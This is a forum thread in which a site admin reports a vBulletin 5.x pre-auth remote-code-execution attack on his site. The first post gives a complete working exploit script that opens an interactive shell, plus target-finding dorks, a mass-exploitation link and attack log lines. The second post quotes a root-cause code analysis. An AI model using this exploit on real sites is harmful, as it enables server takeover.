Announcement

Collapse
No announcement yet.

Critical 0-Day RCE Exploit for vBulletin Forum Disclosed Publicly

Collapse
X
 
  • Filter
  • Time
  • Show
Clear All
new posts

  • Critical 0-Day RCE Exploit for vBulletin Forum Disclosed Publicly

    The latest zeroday vulnerability exists in the vbulletin board.
    Someone hacked this powerhacker.net site using the vbulletin vulnerability.
    They created a file called x.html and left a mocking message for me.
    I noticed the attack and stopped this site in the middle of the attack.
    When I searched on Google, the vbulletin vulnerability was zero-day released on the day of the attack.
    The whole world is raging now Because of this zero-day.
    This is a very critical vulnerability.
    Many large enterprise sites now use vbulletin boards.
    For example, sites like Epic Games(Unreal Engine) are using the 5.xx version of the vbulletin board.
    Why did you attack a poor site like me? I'm very honored to be attacked by attackers first.
    I have completed the patch.

    https://arstechnica.com/information-...vbulletin-bug/
    https://twitter.com/nickcano93/statu...58990753026048
    https://exploitalert.com/view-details.html?id=34103
    https://thehackernews.com/2019/09/vb...y-exploit.html
    https://seclists.org/fulldisclosure/2019/Sep/31
    https://cxsecurity.com/issue/WLB-2019090160
    https://portswigger.net/daily-swig/v...open-to-attack
    https://www.cybersecurity-help.cz/vd...6?affChecked=1

    https://github.com/Frint0/mass-pwn-vbulletin

    Code:
    #!/usr/bin/python
    #
    # vBulletin 5.x 0day pre-auth RCE exploit
    #
    # This should work on all versions from 5.0.0 till 5.5.4
    #
    # Google Dorks:
    # - site:*.vbulletin.net
    # - "Powered by vBulletin Version 5.5.4"
    
    import requests
    import sys
    
    if len(sys.argv) != 2:
        sys.exit("Usage: %s <URL to vBulletin>" % sys.argv[0])
    
    params = {"routestring":"ajax/render/widget_php"}
    
    while True:
         try:
              cmd = raw_input("vBulletin$ ")
              params["widgetConfig[code]"] = "echo shell_exec('"+cmd+"'); exit;"
              r = requests.post(url = sys.argv[1], data = params)
              if r.status_code == 200:
                   print r.text
              else:
                   sys.exit("Exploit failed! :(")
         except KeyboardInterrupt:
              sys.exit("\nClosing shell...")
         except Exception, e:
              sys.exit(str(e))

    Click image for larger version  Name:	vulvuln_1.png Views:	0 Size:	124.1 KB ID:	110
    Click image for larger version  Name:	vulvuln_2.png Views:	0 Size:	213.7 KB ID:	111

    Click image for larger version  Name:	zeroday.png Views:	0 Size:	356.5 KB ID:	109

    Code:
    # grep "widget_php" *
    access.log:107.142.139.161 - - [25/Sep/2019:05:02:22 +0000] "POST /index.php?routestring=ajax/render/widget_php HTTP/1.1" 200 18 "-" "curl/7.52.1"
    access.log:107.142.139.161 - - [25/Sep/2019:05:50:25 +0000] "POST /index.php?routestring=ajax/render/widget_php HTTP/1.1" 200 18 "-" "curl/7.52.1"
    access.log:144.34.200.149 - - [25/Sep/2019:06:26:12 +0000] "POST /index.php?routestring=ajax/render/widget_php HTTP/1.1" 200 18 "-" "curl/7.29.0"
    access.log:207.182.135.11 - - [25/Sep/2019:06:38:23 +0000] "POST /index.php?routestring=ajax/render/widget_php HTTP/1.1" 200 18 "-" "curl/7.47.0"
    access.log:104.248.99.104 - - [25/Sep/2019:06:52:25 +0000] "POST /index.php?routestring=ajax/render/widget_php HTTP/1.1" 200 18 "-" "curl/7.60.0"
    access.log:107.142.139.161 - - [25/Sep/2019:06:53:00 +0000] "POST /index.php?routestring=ajax/render/widget_php HTTP/1.1" 200 1619 "-" "curl/7.52.1"
    access.log:36.72.214.254 - - [25/Sep/2019:07:20:35 +0000] "POST /index.php?routestring=ajax/render/widget_php HTTP/1.1" 200 1619 "-" "curl/7.54.0"
    access.log:107.142.139.161 - - [25/Sep/2019:07:43:20 +0000] "POST /index.php?routestring=ajax/render/widget_php HTTP/1.1" 200 1619 "-" "curl/7.52.1"
    access.log:89.248.171.176 - - [25/Sep/2019:07:50:01 +0000] "POST /index.php?routestring=ajax/render/widget_php HTTP/1.1" 200 1619 "-" "curl/7.52.1"
    access.log:194.32.77.71 - - [25/Sep/2019:09:09:44 +0000] "POST /index.php?routestring=ajax/render/widget_php HTTP/1.1" 200 1619 "-" "curl/7.64.0"
    access.log:185.159.157.22 - - [25/Sep/2019:10:34:37 +0000] "POST /index.php?routestring=ajax/render/widget_php HTTP/1.1" 200 1619 "-" "curl/7.66.0"
    access.log:195.201.147.253 - - [25/Sep/2019:10:38:26 +0000] "POST /index.php?routestring=ajax/render/widget_php HTTP/1.1" 200 1619 "-" "curl/7.65.3"
    access.log:5.252.178.107 - - [25/Sep/2019:10:50:16 +0000] "POST /index.php?routestring=ajax/render/widget_php HTTP/1.1" 200 1619 "-" "curl/7.64.0"
    access.log:180.151.118.183 - - [25/Sep/2019:10:50:33 +0000] "POST /index.php?routestring=ajax/render/widget_php HTTP/1.1" 200 1619 "-" "curl/7.65.3"
    access.log:35.234.25.158 - - [25/Sep/2019:11:03:42 +0000] "POST /index.php?routestring=ajax/render/widget_php HTTP/1.1" 200 1619 "-" "curl/7.52.1"
    access.log:77.238.228.17 - - [25/Sep/2019:11:10:24 +0000] "POST /index.php?routestring=ajax/render/widget_php HTTP/1.1" 200 1619 "-" "curl/7.54.0"
    access.log:157.245.231.136 - - [25/Sep/2019:11:19:58 +0000] "POST /index.php?routestring=ajax/render/widget_php HTTP/1.1" 200 1619 "-" "curl/7.58.0"
    access.log:89.249.64.197 - - [25/Sep/2019:11:22:17 +0000] "POST /index.php?routestring=ajax/render/widget_php HTTP/1.1" 200 1619 "-" "curl/7.64.0"
    access.log:89.249.64.197 - - [25/Sep/2019:11:30:20 +0000] "POST /index.php?routestring=ajax/render/widget_php HTTP/1.1" 200 1619 "-" "curl/7.64.0"
    access.log:189.152.99.247 - - [25/Sep/2019:11:33:54 +0000] "POST /index.php?routestring=ajax/render/widget_php HTTP/1.1" 200 1619 "-" "curl/7.54.0"
    access.log:196.240.54.22 - - [25/Sep/2019:11:41:38 +0000] "POST /index.php?routestring=ajax/render/widget_php HTTP/1.1" 200 1619 "-" "curl/7.61.0"
    access.log:157.32.250.248 - - [25/Sep/2019:11:46:59 +0000] "POST /index.php?routestring=ajax/render/widget_php HTTP/1.1" 200 1619 "-" "curl/7.58.0"
    access.log:79.137.79.167 - - [25/Sep/2019:11:47:29 +0000] "POST /index.php?routestring=ajax/render/widget_php HTTP/1.1" 200 1619 "-" "curl/7.52.1"
    access.log:77.238.228.17 - - [25/Sep/2019:12:10:26 +0000] "POST /index.php?routestring=ajax/render/widget_php HTTP/1.1" 200 1619 "-" "curl/7.54.0"
    access.log:185.108.170.210 - - [25/Sep/2019:12:11:11 +0000] "POST /ajax/render/widget_php?widgetConfig[code]=echo%20shell_exec%28%27%22+cmd+%22%27%29;%20exit; HTTP/1.1" 200 31 "-" "PostmanRuntime/7.17.1"
    access.log:185.108.170.210 - - [25/Sep/2019:12:11:23 +0000] "POST /ajax/render/widget_php?widgetConfig[code]=echo%20shell_exec%28%27%22+cmd+%22%27%29;%20exit; HTTP/1.1" 200 31 "-" "PostmanRuntime/7.17.1"
    access.log:185.108.170.210 - - [25/Sep/2019:12:11:26 +0000] "POST /ajax/render/widget_php HTTP/1.1" 200 1746 "-" "PostmanRuntime/7.17.1"
    access.log:185.108.170.210 - - [25/Sep/2019:12:11:32 +0000] "POST /ajax/render/widget_php?widgetConfig[code]=echo%20shell_exec%28%27%22+cmd+%22%27%29;%20exit; HTTP/1.1" 200 31 "-" "PostmanRuntime/7.17.1"
    access.log:185.108.170.210 - - [25/Sep/2019:12:11:43 +0000] "POST /ajax/render/widget_php HTTP/1.1" 200 31 "-" "PostmanRuntime/7.17.1"
    access.log:185.108.170.210 - - [25/Sep/2019:12:11:48 +0000] "POST /ajax/render/widget_php HTTP/1.1" 200 31 "-" "PostmanRuntime/7.17.1"
    access.log:185.108.170.210 - - [25/Sep/2019:12:11:50 +0000] "POST /ajax/render/widget_php HTTP/1.1" 200 31 "-" "PostmanRuntime/7.17.1"
    access.log:45.76.179.27 - - [25/Sep/2019:12:12:08 +0000] "POST /index.php?routestring=ajax/render/widget_php HTTP/1.1" 200 1619 "-" "curl/7.47.0"
    access.log:185.108.170.210 - - [25/Sep/2019:12:14:15 +0000] "POST /ajax/render/widget_php HTTP/1.1" 200 131 "-" "PostmanRuntime/7.17.1"
    access.log:185.108.170.210 - - [25/Sep/2019:12:14:53 +0000] "POST /ajax/render/widget_php HTTP/1.1" 200 31 "-" "PostmanRuntime/7.17.1"
    access.log:185.108.170.210 - - [25/Sep/2019:12:15:07 +0000] "POST /ajax/render/widget_php HTTP/1.1" 200 1100 "-" "PostmanRuntime/7.17.1"
    access.log:185.108.170.210 - - [25/Sep/2019:12:15:24 +0000] "POST /ajax/render/widget_php HTTP/1.1" 200 131 "-" "PostmanRuntime/7.17.1"
    access.log:185.108.170.210 - - [25/Sep/2019:12:15:31 +0000] "POST /ajax/render/widget_php HTTP/1.1" 200 133 "-" "PostmanRuntime/7.17.1"
    access.log:185.108.170.210 - - [25/Sep/2019:12:16:38 +0000] "POST /ajax/render/widget_php HTTP/1.1" 200 36 "-" "PostmanRuntime/7.17.1"
    access.log:185.108.170.210 - - [25/Sep/2019:12:16:43 +0000] "POST /ajax/render/widget_php HTTP/1.1" 200 54 "-" "PostmanRuntime/7.17.1"
    access.log:185.108.170.210 - - [25/Sep/2019:12:17:12 +0000] "POST /ajax/render/widget_php HTTP/1.1" 200 43 "-" "PostmanRuntime/7.17.1"
    access.log:212.238.138.147 - - [25/Sep/2019:12:17:16 +0000] "POST /index.php?routestring=ajax/render/widget_php HTTP/1.1" 200 19 "-" "curl/7.58.0"
    access.log:185.108.170.210 - - [25/Sep/2019:12:18:39 +0000] "POST /ajax/render/widget_php HTTP/1.1" 200 31 "-" "PostmanRuntime/7.17.1"
    access.log:149.154.161.2 - - [25/Sep/2019:12:18:59 +0000] "GET /ajax/render/widget_php HTTP/1.1" 301 162 "-" "TelegramBot (like TwitterBot)"
    access.log:149.154.161.2 - - [25/Sep/2019:12:19:00 +0000] "GET /ajax/render/widget_php HTTP/1.1" 200 79 "-" "TelegramBot (like TwitterBot)"
    access.log:185.108.170.210 - - [25/Sep/2019:12:19:02 +0000] "POST /ajax/render/widget_php HTTP/1.1" 200 127 "-" "PostmanRuntime/7.17.1"
    access.log:185.108.170.210 - - [25/Sep/2019:12:19:16 +0000] "POST /ajax/render/widget_php HTTP/1.1" 200 31 "-" "PostmanRuntime/7.17.1"
    access.log:92.50.140.174 - - [25/Sep/2019:12:19:49 +0000] "POST /ajax/render/widget_php HTTP/1.1" 301 162 "-" "PostmanRuntime/7.6.0"
    access.log:92.50.140.174 - - [25/Sep/2019:12:19:50 +0000] "GET /ajax/render/widget_php HTTP/1.1" 200 79 "http://powerhacker.net/ajax/render/widget_php" "PostmanRuntime/7.6.0"
    access.log:92.50.140.174 - - [25/Sep/2019:12:20:02 +0000] "POST /ajax/render/widget_php HTTP/1.1" 200 133 "-" "PostmanRuntime/7.6.0"
    access.log:212.238.138.147 - - [25/Sep/2019:12:20:10 +0000] "POST /index.php?routestring=ajax/render/widget_php HTTP/1.1" 200 19 "-" "curl/7.58.0"
    access.log:92.50.140.174 - - [25/Sep/2019:12:20:11 +0000] "POST /ajax/render/widget_php HTTP/1.1" 200 40 "-" "PostmanRuntime/7.6.0"
    access.log:92.50.140.174 - - [25/Sep/2019:12:20:19 +0000] "POST /ajax/render/widget_php HTTP/1.1" 200 31 "-" "PostmanRuntime/7.6.0"

  • #2
    Please read this person's article. It explained very well the cause of the vulnerability. It seems that the situation is suspected by someone's planted backdoor. Who is it? The analyst writes that the problem is not a backdoor, but a logic problem. But I think it's like a back door. This is because the vbulletin company released a security patch but did not comment out the eval function. I manually removed that eval function but it has no effect on the board. Everyone's opinions can be different. I am always suspicious of everything. It is my occupational disease.

    https://gist.github.com/jamesbercega...12d98d887542b3

    Code:
    I have done some preliminary research into this bug and so far it does not seem like a backdoor. Just some really weird logic when handling routes, and rendering templates.
    
    As to why widgetConfig[code] executes via a POST request, it is because of the following code located in /includes/vb5/frontend/applicationlight.php
    
    
    $serverData = array_merge($_GET, $_POST);
    
    if (!empty($this->application['handler']) AND method_exists($this, $this->application['handler']))
    {
        $app = $this->application['handler'];
        call_user_func(array($this, $app), $serverData);
    
        return true;
    }
    
    
    $this->application['handler'] is set via some logic in the class constructor that matches the string value of $_REQUEST['routestring'] to an array of "quick routes".
    
    
    /**Standard constructor. We only access applications through init() **/
    protected function __construct()
    {
        if (empty($_REQUEST['routestring']))
        {
            return false;
        }
    
        if (isset(self::$quickRoutes[$_REQUEST['routestring']]))
        {
            $this->application = self::$quickRoutes[$_REQUEST['routestring']];
            return true;
        }
    
        foreach (self::$quickRoutePrefixMatch AS $prefix => $route)
        {
            if (substr($_REQUEST['routestring'], 0, strlen($prefix)) == $prefix)
            {
                $this->application = $route;
                return true;
            }
        }
    
        return false;
    }
    
    
    The quick routes array looks like this:
    
    
     * @var array Quick routes that match the beginning of the route string
     */
    protected static $quickRoutePrefixMatch = array(
        'ajax/apidetach' => array(
            'handler'     => 'handleAjaxApiDetached',
            'static'      => false,
            'requirePost' => true,
        ), // note, keep this before ajax/api. More specific routes should come before
        // less specific ones, to allow the prefix check to work correctly, see constructor.
        'ajax/api' => array(
            'handler'     => 'handleAjaxApi',
            'static'      => false,
            'requirePost' => true,
        ),
        'ajax/render' => array(
            'handler'     => 'callRender',
            'static'      => false,
            'requirePost' => true,
        ),
    );
    
    
    After that the handler from the quick routes is executed, and the process of setting up the template rendering begins.
    
    /**
     * Renders a template from an ajax call
     *
     * @param array Array of server data (from $_POST and/or $_GET, see execute())
     */
    protected function callRender($serverData)
    {
        $routeInfo = explode('/', $serverData['routestring']);
    
        if (count($routeInfo) < 3)
        {
            throw new vB5_Exception_Api('ajax', 'render', array(), 'invalid_request');
        }
    
        $this->router = new vB5_Frontend_Routing();
        $this->router->setRouteInfo(array(
            'action'          => 'actionRender',
            'arguments'       => $serverData,
            'template'        => $routeInfo[2],
            // this use of $_GET appears to be fine,
            // since it's setting the route query params
            // not sending the data to the template
            // render
            'queryParameters' => $_GET,
        ));
        Api_InterfaceAbstract::setLight();
    
        $this->sendAsJson(vB5_Template::staticRenderAjax($routeInfo[2], $serverData));
    }
    
    
    The template code that is executed is as follows:
    
    
    <template name="widget_php" templatetype="template" date="1452807873" username="vBulletin" version="5.2.1 Alpha 2"><![CDATA[<vb:if condition="empty($widgetConfig) AND !empty($widgetinstanceid)">
        {vb:data widgetConfig, widget, fetchConfig, {vb:raw widgetinstanceid}}
    </vb:if>
    <vb:if condition="!empty($widgetConfig)">
        {vb:set widgetid, {vb:raw widgetConfig.widgetid}}
        {vb:set widgetinstanceid, {vb:raw widgetConfig.widgetinstanceid}}
    </vb:if>
    
    <div class="b-module{vb:var widgetConfig.show_at_breakpoints_css_classes} canvas-widget default-widget custom-html-widget" id="widget_{vb:raw widgetinstanceid}" data-widget-id="{vb:raw widgetid}" data-widget-instance-id="{vb:raw widgetinstanceid}">
    
        {vb:template module_title,
            widgetConfig={vb:raw widgetConfig},
            show_title_divider=1,
            can_use_sitebuilder={vb:raw user.can_use_sitebuilder}}
    
        <div class="widget-content">
            <vb:if condition="!empty($widgetConfig['code']) AND !$vboptions['disable_php_rendering']">
                {vb:action evaledPHP, bbcode, evalCode, {vb:raw widgetConfig.code}}
                {vb:raw $evaledPHP}
            <vb:else />
                <vb:if condition="$user['can_use_sitebuilder']">
                    <span class="note">{vb:phrase click_edit_to_config_module}</span>
                </vb:if>
            </vb:if>
        </div>
    </div>]]></template>
    
    
    Here is the backtrace for anyone interested.
    
    
    0  eval() called at [/var/www/vbulletin/includes/vb5/frontend/controller/bbcode.php:227]
    1  vB5_Frontend_Controller_Bbcode::evalCode(debug_print_backtrace();exit;) called at [/var/www/vbulletin/includes/vb5/template/runtime.php:1039]
    2  vB5_Template_Runtime::parseAction(bbcode, evalCode, debug_print_backtrace();exit;) called at [/var/www/vbulletin/includes/vb5/template.php(369) : eval()'d code:24]
    3  eval() called at [/var/www/vbulletin/includes/vb5/template.php:369]
    4  vB5_Template->render(1, 1) called at [/var/www/vbulletin/includes/vb5/template.php:688]
    5  vB5_Template::staticRender(widget_php, Array ([routestring] => ajax/render/widget_php,[widgetConfig] => Array ([code] => debug_print_backtrace();exit;)), 1, 1) called at [/var/www/vbulletin/includes/vb5/template.php:701]
    6  vB5_Template::staticRenderAjax(widget_php, Array ([routestring] => ajax/render/widget_php,[widgetConfig] => Array ([code] => debug_print_backtrace();exit;))) called at [/var/www/vbulletin/includes/vb5/frontend/applicationlight.php:302]
    7  vB5_Frontend_ApplicationLight->callRender(Array ([routestring] => ajax/render/widget_php,[widgetConfig] => Array ([code] => debug_print_backtrace();exit;))) called at [/var/www/vbulletin/includes/vb5/frontend/applicationlight.php:186]
    8  vB5_Frontend_ApplicationLight->execute() called at [/var/www/vbulletin/index.php:41]
    
    
    Are you hiring? Well, I am currently looking. Let's talk! jamesbercegay@gmail.com

    Comment

    Working...
    X